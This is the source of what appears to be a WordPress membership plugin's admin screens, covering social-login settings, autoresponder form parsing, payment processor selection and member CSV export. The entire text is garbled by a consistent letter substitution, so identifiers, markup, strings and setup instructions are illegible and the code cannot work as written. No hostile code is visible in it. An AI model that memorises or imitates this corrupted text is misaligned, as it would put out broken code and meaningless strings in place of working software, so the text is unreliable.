molB)UQplrmU /QzmUQumU/uFEBuQzmUQumUEo /QzmUY QumUuFEBuQzmUQumUnmorszQzmUfqq $BDoBm:QumU/nmorszQzmU QumUxsqlm mhqB=QplrmUqFnnjroCQplrmU DuFnn=QplrmUDrCBQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_AFDBErrv_nBDoBmQplrmU nxgB=QplrmUMKQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SAFDBErrv_nBDoBm)U WQzmUQplrmU rsDyFszB=QplrmUw&lBoh(QTPMGUTtBtEBozBsxln_nBmmxszn_AFDBErrv_BsFEuBCQTPMGU).Fmmo(QTPMGUDyBDvBCQTPMGU, molB)UQplrmU rsArDln=QplrmUmyxn.mhqB=QTPMGUmBimQTPMGUQplrmU rsEulo=QplrmUmyxn.mhqB=QTPMGUqFnnjroCQTPMGUQplrmU /QzmUQumU/uFEBuQzmUY QumU/qQzmUYY QumUqQzmU7snmolDmxrsn:QumU/qQzmUYY QumUEurDvplrmBQzmUY QumUqQzmU7A hrl BkBo sBBC mr oBmoxBkB hrlo Fqq 7c FsC Fqq nBDoBm FzFxs, zr mr QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://CBkBurqBon.AFDBErrv.Drt/FqqnQplrmUQzmUCBkBurqBon.AFDBErrv.Drt/FqqnQumU/FQzmU, DuxDv myB Fqq Aro QumUDrCBQzmUQumUWqyq BDyr ymtuBsmxmxBn(SAFDBErrv_lou)U WQzmUQumU/DrCBQzmU FsC DyrrnB $Bmmxszn.QumU/qQzmUYY QumUruQzmUY QumUuxQzmU9r mr myB aFDBErrv cBkBurqBo dBsmBo Fm QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://CBkBurqBon.AFDBErrv.Drt/FqqnQplrmUQzmUCBkBurqBon.AFDBErrv.Drt/FqqnQumU/FQzmUQumU/uxQzmUY QumUuxQzmUduxDv myB QFtqUplrmUfCC 2Bj fqqQFtqUplrmU rs myB mrq oxzymQumU/uxQzmUY QumUuxQzmUdyrrnB QumUDrCBQzmU?BEnxmBQumU/DrCBQzmUQumU/uxQzmUY QumUuxQzmUaro myB Fqq mxmuB, BsmBo QumUDrCBQzmUQumUWqyq BDyr ymtuBsmxmxBn(zBm_rqmxrs(QplrmUsFtBQplrmU))U WQzmUQumU/DrCBQzmU FsC DuxDv QumUDrCBQzmUdoBFmB 2Bj aFDBErrv fqq 7cQumU/DrCBQzmUQumU/uxQzmUY QumUuxQzmUaxuu xs hrlo DrsmFDm BtFxu, FsC DyrrnB F DFmBzroh, nlDy Fn QumUDrCBQzmUelnxsBnnQumU/DrCBQzmU FsC DuxDv QumUDrCBQzmUdoBFmB fqq 7cQumU/DrCBQzmUQumU/uxQzmUY QumUuxQzmUQumUnmorszQzmU7tqromFsm:QumU/nmorszQzmU duxDv myB QumUDrCBQzmU$vxq &lxDv $mFomQumU/DrCBQzmU uxsv rs myB mrq oxzymQumU/uxQzmUY QumUuxQzmU9r mr $Bmmxszn, fCC 0uFmArot, DyrrnB ?BEnxmB, FsC lsCBo $xmB ; 4, BsmBo QumUDrCBQzmUQumUWqyq BDyr ymtuBsmxmxBn(yrtB_lou())U WQzmUQumU/DrCBQzmUQumU/uxQzmUY QumUuxQzmU7s myB fqq crtFxsn mBimEri, BsmBo QumUDrCBQzmUQumUWqyq BDyr ymtuBsmxmxBn(SAFDBErrv_lou)U WQzmUQumU/DrCBQzmU FsC DuxDv $FkB dyFszBnQumU/uxQzmUY QumUuxQzmUdrqh myB QumUDrCBQzmUfqq 7cQumU/DrCBQzmU FsC QumUDrCBQzmUfqq $BDoBmQumU/DrCBQzmU DrCBn xsmr myB mBim EriBn EBurj FsC DuxDv $FkB fuu dyFszBnQumU/uxQzmUY QumUuxQzmUaxsFuuh, xs hrlo aFDBErrv cBkBurqBo mFE, zr mr fqq BkxBj, FsC njxmDy QumUDrCBQzmU3FvB QumUWqyq BDyr ymtuBsmxmxBn(zBm_rqmxrs(QplrmUsFtBQplrmU))U WQzmU 0lEuxDWQumU/DrCBQzmU dyrrnB QumUDrCBQzmUQumUWqyq BDyr Dyo(HG)U WQzmUBn.QumU/DrCBQzmUQumU/uxQzmUY QumU/ruQzmUY QumU/EurDvplrmBQzmU YY QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU$FkB fuu dyFszBnQplrmU /QzmUQumU/qQzmUY QumUWqyqY } AlsDmxrs tBsl_nrDxFu_zrrzuB() { zurEFu StBtEBozBsxlnU xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_zrrzuB_FqqQplrmU])) { xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_zrrzuB_BsFEuBCQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_BsFEuBCQplrmU, O)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_BsFEuBCQplrmU, P)U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_zrrzuB_FqqQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_FqqQplrmU, nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_zrrzuB_FqqQplrmU]))U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_zrrzuB_nBDoBmQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_nBDoBmQplrmU, nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_zrrzuB_nBDoBmQplrmU]))U } } SzrrzuB_BsFEuBC = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_BsFEuBCQplrmU)==OU SzrrzuB_Fqq = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_FqqQplrmU)U SzrrzuB_nBDoBm = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_nBDoBmQplrmU)U WQzmUY QumUqQzmUY QumUuFEBuQzmUY QumUxsqlm mhqB=QplrmUDyBDvEriQplrmU xC=QplrmUtBtEBozBsxln_nBmmxszn_zrrzuB_BsFEuBCQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_zrrzuB_BsFEuBCQplrmU QumUWqyq DyBDvBC(SzrrzuB_BsFEuBC)U WQzmU /QzmU bsFEuB 9rrzuB 4rzxsWQumU/uFEBuQzmUY QumUWqyq xA (SzrrzuB_BsFEuBC): WQzmUQumUF yoBA=QplrmUQumUWqyq BDyr yrtB_lou(QplrmUjq-urzxs.qyqWtBtEBozBsxln_urzxs=zrrzuBQplrmU)U WQzmUQplrmUQzmU(mBnm 9rrzuB urzxs)QumU/FQzmUQumUWqyq BsCxAU WQzmUY QumUEo /QzmUY QumUuFEBuQzmUQumUnmorszQzmUduxBsm 7c:QumU/nmorszQzmU QumUxsqlm mhqB=QplrmUmBimQplrmU DuFnn=QplrmUDrCBQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_zrrzuB_FqqQplrmU nxgB=QplrmUIKQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SzrrzuB_Fqq)U WQzmUQplrmU rsDyFszB=QplrmUw&lBoh(QTPMGUTtBtEBozBsxln_nBmmxszn_zrrzuB_BsFEuBCQTPMGU).Fmmo(QTPMGUDyBDvBCQTPMGU, molB)UQplrmU /QzmUQumU/uFEBuQzmUQumUEo /QzmUY QumUuFEBuQzmUQumUnmorszQzmUduxBsm $BDoBm:QumU/nmorszQzmU QumUxsqlm mhqB=QplrmUqFnnjroCQplrmU DuFnn=QplrmUDrCBQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_zrrzuB_nBDoBmQplrmU nxgB=QplrmUMKQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SzrrzuB_nBDoBm)U WQzmUQplrmU rsDyFszB=QplrmUw&lBoh(QTPMGUTtBtEBozBsxln_zrrzuB_AFDBErrv_BsFEuBCQTPMGU).Fmmo(QTPMGUDyBDvBCQTPMGU, molB)UQplrmU rsArDln=QplrmUmyxn.mhqB=QTPMGUmBimQTPMGUQplrmU rsEulo=QplrmUmyxn.mhqB=QTPMGUqFnnjroCQTPMGUQplrmU /QzmUQumU/uFEBuQzmUQumUEo /QzmUYY QumUuFEBuQzmUQumUnmorszQzmU BCxoBDm ; 7:QumU/nmorszQzmU (Aro urzxs AlsDmxrsFuxmh, Drqh myxn mr 9rrzuB cBkBurqBo drsnruB)QumUEo /QzmUY QumUmBimFoBF oBFCrsuh=QplrmUoBFCrsuhQplrmU DuFnn=QplrmUDrCBQplrmU orjn=QplrmUNQplrmU Drun=QplrmUHPQplrmU rsArDln=QplrmUmyxn.nBuBDm()UQplrmU nmhuB=QplrmUDlonro:qrxsmBoUQplrmUQzmUQumUWqyq BDyr yrtB_lou(QplrmUjq-urzxs.qyqWtBtEBozBsxln_urzxs=zrrzuB_DFuuEFDvQplrmU)U WQzmUQumU/mBimFoBFQzmUQumU/uFEBuQzmUQumUEo /QzmUY QumUuFEBuQzmUQumUnmorszQzmU BCxoBDm ; 7:QumU/nmorszQzmU (Aro oBzxnmoFmxrs AlsDmxrsFuxmh, Drqh myxn mr 9rrzuB cBkBurqBo drsnruB)QumUEo /QzmUY QumUmBimFoBF oBFCrsuh=QplrmUoBFCrsuhQplrmU DuFnn=QplrmUDrCBQplrmU orjn=QplrmUNQplrmU Drun=QplrmUHPQplrmU rsArDln=QplrmUmyxn.nBuBDm()UQplrmU nmhuB=QplrmUDlonro:qrxsmBoUQplrmUQzmUQumUWqyq BDyr yrtB_lou(QplrmUjq-urzxs.qyqWtBtEBozBsxln_oBzxnmBo=zrrzuB_DFuuEFDvQplrmU)U WQzmUQumU/mBimFoBFQzmUQumU/uFEBuQzmUY QumU/qQzmUYY QumUqQzmU7snmolDmxrsn:QumU/qQzmUYY QumUEurDvplrmBQzmUY QumUruQzmUY QumUuxQzmU4rzxs mr myB QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://DrsnruB.CBkBurqBon.zrrzuB.DrtQplrmUQzmU9rrzuB cBkBurqBo drsnruBQumU/FQzmU Fm QumUDrCBQzmUDrsnruB.CBkBurqBon.zrrzuB.DrtQumU/DrCBQzmU lnxsz hrlo 9rrzuB FDDrlsmQumU/uxQzmUY QumUuxQzmU1s myB mrq CorqCrjs, DyrrnB QumUDrCBQzmUdoBFmB 0orwBDmQumU/DrCBQzmU FsC sFtB xm QumUDrCBQzmU3BtEBo 9Bsxln QumUWqyq BDyr ymtuBsmxmxBn(zBm_rqmxrs(QplrmUsFtBQplrmU))U WQzmUQumU/DrCBQzmUQumU/uxQzmUY QumUuxQzmUQumUWqyq BDyr Dyo(HG)U WQzmUrl nyrluC EB oBmlosBC mr myB QFtqUplrmU1kBokxBjQFtqUplrmU nDoBBs. duxDv QumUDrCBQzmU9rrzuB+ f07QumU/DrCBQzmU FsC zBm_rqmxrs myB EulB QumUDrCBQzmUbsFEuBQumU/DrCBQzmU ElmmrsQumU/uxQzmUY QumUuxQzmU1s myB nxCBEFo, DuxDv QumUDrCBQzmUdoBCBsmxFunQumU/DrCBQzmU. #yBs rs myB qFzB myFm urFCn, DuxDv QumUDrCBQzmUdoBFmB doBCBsmxFunQumU/DrCBQzmU FsC QumUDrCBQzmU1flmy duxBsm 7cQumU/DrCBQzmUQumU/uxQzmUY QumUuxQzmUduxDv myB Elmmrs mr QumUDrCBQzmUdrsAxzloB drsnBsm $DoBBsQumU/DrCBQzmU FsC BsmBo 0orClDm 2FtB QumUDrCBQzmU3BtEBo 9Bsxln QumUWqyq BDyr ymtuBsmxmxBn(zBm_rqmxrs(QplrmUsFtBQplrmU))U WQzmUQumU/DrCBQzmUQumU/uxQzmUY QumUuxQzmU?yBs xm Fnvn Aro Fs QumUDrCBQzmUfqquxDFmxrs #hqBQumU/DrCBQzmU, DyrrnB QumUDrCBQzmU?BE fqquxDFmxrsQumU/DrCBQzmU FsC BsmBo sFtB: QumUDrCBQzmU3BtEBo 9Bsxln QumUWqyq BDyr ymtuBsmxmxBn(zBm_rqmxrs(QplrmUsFtBQplrmU))U WQzmUQumU/DrCBQzmUQumU/uxQzmUY QumUuxQzmU$vxq myB flmyroxgBC 6FkF$Doxqm ; 4n -- Cr srm BsmBo Fshmyxsz myBoBQumU/uxQzmUY QumUuxQzmU;sCBo QumUDrCBQzmUflmyroxgBC BCxoBDm ; 7QumU/DrCBQzmU Drqh myB Axonm BCxoBDm ; 7 sBFo myB mrq rA #87$ qFzB (oxzym DuxDv, drqh) FsC qFnmB rsmr myB 9rrzuB qFzB (oxzym DuxDv, qFnmB)QumU/uxQzmUY QumUuxQzmUdrqh myB nBDrsC BCxoBDm ; 7 Aort myxn qFzB FsC qFnmB xm Fn FsrmyBo BCxoBDm ; 7 rs myFm nFtB nDoBBs xs 9rrzuBQumU/uxQzmUY QumUuxQzmUduxDv QumUDrCBQzmUdoBFmBQumU/DrCBQzmU. drqh myB QumUDrCBQzmUduxBsm 7cQumU/DrCBQzmU FsC QumUDrCBQzmUduxBsm $BDoBmQumU/DrCBQzmU rsmr myxn qFzB FsC DuxDv QumUDrCBQzmU$FkB fuu dyFszBnQumU/DrCBQzmUQumU/uxQzmUY QumU/ruQzmUY QumU/EurDvplrmBQzmUYY QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU$FkB fuu dyFszBnQplrmU /QzmUQumU/qQzmUY QumUWqyqY } AlsDmxrs tBsl_FlmroBnqrsCBo_wFkFnDoxqm() { WQzmUY QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY QumUV--Y AlsDmxrs kBoxAharot(BtFxu!FulB, Axonm!FulB, uFnm!FulB) {Y FnnxzscorqCrjs()U // lqCFmB ArotnYY kFo qFonBarot = w&lBoh(QplrmUTtBtEBozBsxln_qFonBQplrmU).AxsC(QplrmUArot:AxonmQplrmU)U // Arot mr nlEtxmY qFonBarot = w&lBoh(qFonBarot)UYY // axuu xs kFulBnY kFo BtFxuaxBuC = w&lBoh(QTPMGUTtBtEBozBsxln_BtFxuQTPMGU).kFu()UY kFo AxonmaxBuC = w&lBoh(QTPMGUTtBtEBozBsxln_AxonmsFtBQTPMGU).kFu()UY kFo uFnmaxBuC = w&lBoh(QTPMGUTtBtEBozBsxln_uFnmsFtBQTPMGU).kFu()UY Y qFonBarot.AxsC(QplrmUxsqlm[sFtB=QTPMGUQplrmU+BnDFqB(BtFxuaxBuC)+QplrmUQTPMGU]QplrmU).Axonm().Fmmo(QplrmUkFulBQplrmU, BtFxu!FulB)UY qFonBarot.AxsC(QplrmUxsqlm[sFtB=QTPMGUQplrmU+BnDFqB(AxonmaxBuC)+QplrmUQTPMGU]QplrmU).Axonm().Fmmo(QplrmUkFulBQplrmU, Axonm!FulB)UY qFonBarot.AxsC(QplrmUxsqlm[sFtB=QTPMGUQplrmU+BnDFqB(uFnmaxBuC)+QplrmUQTPMGU]QplrmU).Axonm().Fmmo(QplrmUkFulBQplrmU, uFnm!FulB)UYY // 1qBs xs F sBj jxsCrjY qFonBarot.Fmmo(QplrmUmFozBmQplrmU, QplrmU_EuFsvQplrmU)UYY // cBuBmB nlEtxm Elmmrs jyxDy DFlnBn qorEuBtnY qFonBarot.AxsC(QplrmU[sFtB=QTPMGUnlEtxmQTPMGU]QplrmU).BFDy(AlsDmxrs(x, rEw) { w&lBoh(rEw).oBtrkB()U })UY qFonBarot.moxzzBo(QplrmUnlEtxmQplrmU)UY }YY AlsDmxrs qrqluFmBcorqCrjs(Corqcrjs, myBfooFh, qoBAxi) {Y kFo xUY Corqcrjs.uBszmy = PUYY Corqcrjs.rqmxrsn[Corqcrjs.rqmxrsn.uBszmy] = sBj 1qmxrs(qoBAxi + QplrmU(srsB)QplrmU, QplrmUQplrmU)UY Aro (x=PU xQumUmyBfooFh.uBszmyU x++) {Y Corqcrjs.rqmxrsn[Corqcrjs.rqmxrsn.uBszmy] = sBj 1qmxrs(qoBAxi + myBfooFh[x], myBfooFh[x])UY }Y }YY fooFh.qormrmhqB.xs_FooFh = AlsDmxrs ( rEw ) {Y kFo uBs = myxn.uBszmyUY Aro ( kFo i = P U i QumU= uBs U i++ ) {Y xA ( myxn[i] == rEw ) oBmlos molBUY }Y oBmlos AFunBUY }YY AlsDmxrs FnnxzscorqCrjs() {Y kFo qFonBarot = CrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_qFonBQTPMGU)UY kFo BtFxu = CrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_BtFxuQTPMGU)UY kFo AxonmsFtB = CrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_AxonmsFtBQTPMGU)UY kFo uFnmsFtB = CrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_uFnmsFtBQTPMGU)UYY kFo DyrxDBn = sBj fooFh()UYY w&lBoh(QplrmUTtBtEBozBsxln_qFonBQplrmU).ymtu(Y w&lBoh(QplrmUTtBtEBozBsxln_DrCBQplrmU).kFu()Y )UYY w&lBoh(qFonBarot).AxsC(QplrmUxsqlm[sFtB=QTPMGUoBCxoBDmQTPMGU], nmhuBQplrmU).BFDy(AlsDmxrs(x, rEw) { w&lBoh(rEw).oBtrkB()U })UYY w&lBoh(qFonBarot).AxsC(QplrmUxsqlmQplrmU).BFDy(AlsDmxrs(x, noD) {Y kFo m = w&lBoh(noD).Fmmo(QplrmUmhqBQplrmU)UY xA (m == QplrmUmBimQplrmU || m == QplrmUBtFxuQplrmU) {Y DyrxDBn[DyrxDBn.uBszmy] = w&lBoh(noD).Fmmo(QplrmUsFtBQplrmU)UY }Y })UYY // ;qCFmB mBim FoBFY w&lBoh(QplrmUTtBtEBozBsxln_DrCBQplrmU).kFu(Y w&lBoh(QplrmUTtBtEBozBsxln_qFonBQplrmU).ymtu()Y )UYY qrqluFmBcorqCrjs(BtFxu, DyrxDBn, QplrmUbtFxu axBuC: QplrmU)UY qrqluFmBcorqCrjs(AxonmsFtB, DyrxDBn, QplrmUaxonm 2FtB axBuC: QplrmU)UY qrqluFmBcorqCrjs(uFnmsFtB, DyrxDBn, QplrmU4Fnm 2FtB axBuC: QplrmU)UYY //AxonmsFtB.uBszmy = PUYY xA (w&lBoh(QTPMGUTuFnmsFtB_nmroBCQTPMGU).kFu() == QTPMGUQTPMGU) {Y uFnmsFtB.kFulB = lsCBAxsBCUY }YY //xA (CrDltBsm.zBmbuBtBsmeh7C(QTPMGUjquxnmElxuCBo_AxonmsFtB_nmroBCQTPMGU).kFulB == QTPMGUQTPMGU) {Y xA (w&lBoh(QTPMGUTAxonmsFtB_nmroBCQTPMGU).kFu() == QTPMGUQTPMGU || VDyrxDBn.xs_FooFh(w&lBoh(QTPMGUTAxonmsFtB_nmroBCQTPMGU).kFu())) {Y // 9lBnnVY xA (DyrxDBn.xs_FooFh(QTPMGUsFtBQTPMGU)) { AxonmsFtB.kFulB = QTPMGUsFtBQTPMGUU }Y BunB xA (DyrxDBn.xs_FooFh(QTPMGUa2f3bQTPMGU)) { AxonmsFtB.kFulB = QTPMGUa2f3bQTPMGUU } // 3FxudyxtqY BunB xA (DyrxDBn.xs_FooFh(QTPMGUAsFtBQTPMGU)) { AxonmsFtB.kFulB = QTPMGUAsFtBQTPMGUU }Y BunB xA (DyrxDBn.xs_FooFh(QTPMGUAortQTPMGU)) { AxonmsFtB.kFulB = QTPMGUAortQTPMGUU }Y BunB xA (DyrxDBn.xs_FooFh(QTPMGU$lEnDoxEBo2FtBQTPMGU)) { AxonmsFtB.kFulB = QTPMGU$lEnDoxEBo2FtBQTPMGUU }Y BunB xA (DyrxDBn.xs_FooFh(QTPMGUDFmBzrohNQTPMGU)) { AxonmsFtB.kFulB = QTPMGUDFmBzrohNQTPMGUU }Y BunB xA (DyrxDBn.xs_FooFh(QTPMGU$BsC2FtBQTPMGU)) { AxonmsFtB.kFulB = QTPMGU$BsC2FtBQTPMGUU }Y BunB { AxonmsFtB.kFulB = DyrxDBn[P]U }YY xA (DyrxDBn.xs_FooFh(QTPMGUb3f74QTPMGU)) { BtFxu.kFulB = QTPMGUb3f74QTPMGUU } // 3FxudyxtqY BunB xA (DyrxDBn.xs_FooFh(QTPMGUBtFxuQTPMGU)) { BtFxu.kFulB = QTPMGUBtFxuQTPMGUU }Y BunB xA (DyrxDBn.xs_FooFh(QTPMGUbtFxuOQTPMGU)) { BtFxu.kFulB = QTPMGUbtFxuOQTPMGUU }Y BunB xA (DyrxDBn.xs_FooFh(QTPMGU3FxuaortfCCoBnnQTPMGU)) { BtFxu.kFulB = QTPMGU3FxuaortfCCoBnnQTPMGUU }Y BunB xA (DyrxDBn.xs_FooFh(QTPMGUDFmBzrohMQTPMGU)) { BtFxu.kFulB = QTPMGUDFmBzrohMQTPMGUU }Y BunB xA (DyrxDBn.xs_FooFh(QTPMGU$BsCbtFxuQTPMGU)) { BtFxu.kFulB = QTPMGU$BsCbtFxuQTPMGUU }Y BunB { BtFxu.kFulB = DyrxDBn[O]U }Y }Y BunB {Y // ;nB nmroBC kFulBn...Y BtFxu.kFulB = w&lBoh(QTPMGUTBtFxu_nmroBCQTPMGU).kFu()UY AxonmsFtB.kFulB = w&lBoh(QTPMGUTAxonmsFtB_nmroBCQTPMGU).kFu()U Y uFnmsFtB.kFulB = w&lBoh(QTPMGUTuFnmsFtB_nmroBCQTPMGU).kFu()U Y }Y }Y // --QzmUY FnnxzscorqCrjs()UY QumU/nDoxqmQzmUY QumUWqyqY } qlEuxD AlsDmxrs tBsl_qFhtBsmn() { zurEFu StBtEBozBsxlnU SDlooBsmdFom = QplrmU9BsBoxDQplrmUU xA (xnnBm(S_01$#[QplrmUDFomQplrmU])) { SDlooBsmdFom = nmoxqnuFnyBn(S_01$#[QplrmUDFomQplrmU])U StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDFom_uFnmQplrmU, SDlooBsmdFom)U } BunB { SDlooBsmdFom = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDFom_uFnmQplrmU)U } SDFomduFnn = sluuU xA (SDlooBsmdFom QFtqUQFtqU xnnBm(StBtEBozBsxln-QzmUDFomn[SDlooBsmdFom])) { SDFomduFnn = StBtEBozBsxln-QzmUDFomn[SDlooBsmdFom]U } xA (VDuFnn_Bixnmn(SDFomduFnn) || zBm_qFoBsm_DuFnn(SDFomduFnn) V= QplrmU3BtEBo9BsxlndFomQplrmU) { SDFomduFnn = sluuU } WQzmUY QumUCxk DuFnn=QplrmUjoFqQplrmU nmhuB=QplrmUDuBFo:ErmyUQplrmUQzmUY QumUWqyq Smyxn-QzmUtBsl_yBFCBo(QplrmU0FhtBsmnQplrmU)U WQzmUYY QumUArot tBmyrC=QplrmUqrnmQplrmUQzmUYY QumUqQzmUQumUuFEBuQzmU$BuBDm 0orDBnnro: Y QumUnBuBDm sFtB=QplrmUDFomQplrmU rsDyFszB=QplrmUmyxn.Arot.nlEtxm()UQplrmUQzmUY QumUWqyq AroBFDy (StBtEBozBsxln-QzmUDFomn Fn SDFom2FtB =QzmU SDuFnn): WQzmUY QumUrqmxrs QumUWqyq nBuBDmBC(SDFom2FtB==SDlooBsmdFom)U WQzmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SDFom2FtB)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SDFom2FtB)U WQzmU QFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQFtqUsEnqUQumU/rqmxrsQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/nBuBDmQzmUQumU/uFEBuQzmUY QumUxsqlm mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmU$BuBDm $yrqqxsz dFomQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU /QzmUQumU/qQzmUYY QumUWqyqY xA (SDFomduFnn V= sluu) { SDFom = sBj SDFomduFnnU SDFom-QzmUxsnmolDmxrsn()U } WQzmUY QumU/ArotQzmUY QumU/CxkQzmUY QumUWqyqY } qoxkFmB AlsDmxrs tBsl_tBtEBon_Biqrom() { zurEFu StBtEBozBsxlnU SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U WQzmUY QumUyMQzmUbiqrom 3BtEBonQumU/yMQzmUYY QumUqQzmUcltq F uxnm rA nrtB (ro Fuu) rA hrlo tBtEBon xsmr F d$! (DrttF nBqFoFmBC) AxuB myFm hrl DFs xtqrom xsmr hrlo FlmroBnqrsCBo ro DlnmrtBo tFsFzBtBsm nhnmBt.QumU/qQzmUYY QumUArot tBmyrC=QplrmU01$#QplrmUQzmUY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_FDmxrsQplrmU kFulB=QplrmUCrjsurFCQplrmUQzmUYY QumUluQzmUY QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY QumUuxQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU DyBDvBC=QplrmUDyBDvBCQplrmU sFtB=QplrmUtBtEBozBsxln_uBkBu[]QplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmU /QzmU QumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/uFEBuQzmUQumU/uxQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/luQzmUYY QumUluQzmUY QumUuxQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_nmFmlnQplrmU kFulB=QplrmUFDmxkBQplrmU DyBDvBC=QplrmUDyBDvBCQplrmU /QzmU fDmxkB 3BtEBon 1suhQumU/uFEBuQzmUQumU/uxQzmUY QumUuxQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_nmFmlnQplrmU kFulB=QplrmUDFsDBuBCQplrmU /QzmU dFsDBuBC 3BtEBon 1suhQumU/uFEBuQzmUQumU/uxQzmUY QumUuxQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_nmFmlnQplrmU kFulB=QplrmUFuuQplrmU /QzmU fDmxkB QFtqUFtqU dFsDBuBC 3BtEBonQumU/uFEBuQzmUQumU/uxQzmUY QumU/luQzmUYY QumUqQzmU?yBs hrl DuxDv myB QFtqUplrmUbiqrom 3BtEBonQFtqUplrmU Elmmrs, F AxuB jxuu CrjsurFC jyxDy hrl DFs nFkB mr hrlo CBnvmrq.QumU/qQzmUYY QumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmUbiqrom 3BtEBonQplrmU /QzmUY QumU/ArotQzmUY QumUWqyqY } qoxkFmB AlsDmxrs tBsl_tBtEBon_tBnnFzB(StBnnFzB, SuBkBu) { zurEFu StBtEBozBsxlnU SmBim = FooFh( QTPMGUFCCQTPMGU =QzmU QTPMGU$BuBDmBC tBtEBon FCCBC mr %uBkBu%.QTPMGU, QTPMGUtrkBQTPMGU =QzmU QTPMGU$BuBDmBC tBtEBon trkBC mr %uBkBu%.QTPMGU, QTPMGUDFsDBuQTPMGU =QzmU QTPMGU$BuBDmBC tBtEBon DFsDBuBC Aort %uBkBu%.QTPMGU, QTPMGUlsDFsDBuQTPMGU =QzmU QTPMGU$BuBDmBC tBtEBon lsDFsDBuBC Aort %uBkBu%.QTPMGU, QTPMGUoBtrkBQTPMGU =QzmU QTPMGU$BuBDmBC tBtEBon FCCBC mr %uBkBu%.QTPMGU, QTPMGUCBuBmBQTPMGU =QzmU QTPMGU$BuBDmBC tBtEBon CBuBmBC.QTPMGU, )U xA (VStBnnFzB) { oBmlosU } xA (VxnnBm(SmBim[StBnnFzB])) { oBmlosU } SuBkBu2FtB = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu2FtB(SuBkBu)U xA (VSuBkBu2FtB) { oBmlosU } Srlmqlm = SmBim[StBnnFzB]U Srlmqlm = nmo_oBquFDB(QTPMGU%uBkBu%QTPMGU, SuBkBu2FtB, Srlmqlm)U BDyr QTPMGUQumUCxk DuFnn=QplrmUlqCFmBC AFCBQplrmUQzmUQTPMGU.Srlmqlm.QTPMGUQumU/CxkQzmUQTPMGUU } qoxkFmB AlsDmxrs tBsl_tBtEBon_uxnm(StBnnFzB=sluu, StBnnFzB4BkBun=sluu) { zurEFu StBtEBozBsxlnU SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U SFDmxrs = (xnnBm(S_ b&;b$#[QplrmUtBtEBozBsxln_FDmxrsQplrmU])) W S_ 